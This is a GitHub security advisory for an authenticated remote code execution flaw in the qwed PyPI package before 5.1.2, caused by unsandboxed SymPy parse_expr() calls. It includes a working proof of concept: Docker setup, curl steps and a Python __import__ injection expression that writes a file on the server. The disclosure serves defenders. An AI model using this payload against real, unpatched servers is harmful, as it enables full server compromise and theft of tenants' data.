GitHub Advisoryadvisory · PyPI
GHSA-q27q-98j4-9pfv qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`
HIGH
Official page ↗
- Aliases
- CVE-2026-55585
- Ecosystem
- PyPI
- Packages
- qwed
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-08-25
Affected packages
• PyPI qwed: < 5.1.2 → fixed in 5.1.2
Description
Summary
The `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy's `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python's `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.
Details
The vulnerability exists in two independently reachable code paths:
Primary sink — `POST /verify/math`
`src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r'(\d)(\()', r'\1*\2', expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504:
```python
src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized) # line 504 — unsandboxed eval
```
Secondary sink — `POST /verify/batch`
`src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization:
```python
src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression) # line 239 — unsandboxed eval
```
`parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{"__builtins__": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.
PoC
Environment setup (Docker)
```bash
Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
```
The Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment:
• `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789`
• `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789`
• `QWED_CORS_ORIGINS=http://localhost`
• `QWED_SKIP_ENV_INTEGRITY_CHECK=true`
• `DATABASE_URL=sqlite:////tmp/qwed-poc.db`
Automated exploit (`poc.py`)
```bash
python3 vuln-001/poc.py --host 127.0.0.1 --port 8765
```
The script performs three steps:
1. Register an account — `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required).
2. Obtain an API key — `POST /auth/api-keys` using the JWT returned from signup.
3. Send the RCE payload — `POST /verify/math` with the `x-api-key` header and the expression:
```
__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
```
Expected output
```
[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.
```
The server returns HTTP 200 and `{"value": 23.0}` — the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process.
Decisive verification
```bash
docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce
Expected: pwned_by_parse_expr_rce
```
The same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing.
Manual curl reproduction (no Python script)
```bash
Step 1: sign up and capture JWT
TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"Password123!","organization_name":"poc-org"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')
Step 2: create API key
APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"name":"poc"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')
Step 3: send payload
rm -f /tmp/qwed_parse_expr_rce
curl -sS -X POST http://127.0.0.1:8765/verify/math \
-H 'Content-Type: application/json' \
-H "x-api-key: $APIKEY" \
-d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}'
Step 4: confirm file was written by the server process
cat /tmp/qwed_parse_expr_rce
Expected: owned
```
Impact
This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.
Concrete impact includes:
• Confidentiality — read any file accessible to the server process (environment variables, secret keys, database contents, source code).
• Integrity — write or overwrite any file accessible to the server process, modify database records, plant backdoors.
• Availability — terminate the server process, exhaust resources, corrupt persistent storage.
In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-001 Reproduction Environment
Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1
Build from the repo root (one level above vuln-001/):
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
Run:
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
FROM python:3.12-slim-bookworm
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1
WORKDIR /app
Install minimal build dependencies required by some native extensions
RUN apt-get update \
&& apt-get install -y --no-install-recommends gcc g++ \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
Copy the repository source
COPY repo/ /app/repo/
Install hatchling build backend, then install the package with all dependencies
z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12
RUN pip install --no-cache-dir --upgrade pip hatchling \
&& pip install --no-cache-dir -e /app/repo
Runtime environment variables — minimal set required to start the server
ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
QWED_CORS_ORIGINS="http://localhost" \
QWED_SKIP_ENV_INTEGRITY_CHECK="true" \
DATABASE_URL="sqlite:////tmp/qwed-poc.db"
EXPOSE 8765
CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \
"--host", "0.0.0.0", "-…
Related
Alias · CVE (1)
- CVE-2026-55585 QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent… vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/QWED-AI/qwed-verification/security/advisories/GHSA-q27q-98j4-9pfv web
- https://github.com/QWED-AI/qwed-verification/pull/200 web
- https://github.com/QWED-AI/qwed-verification/commit/6066b68c0c4f4cc2c3771824822aaa864d082ef8 web
- https://github.com/QWED-AI/qwed-verification/commit/dc9d4db72ca4b4ae3f96d0e6a0c27a9e38a06f61 web
- https://github.com/QWED-AI/qwed-verification package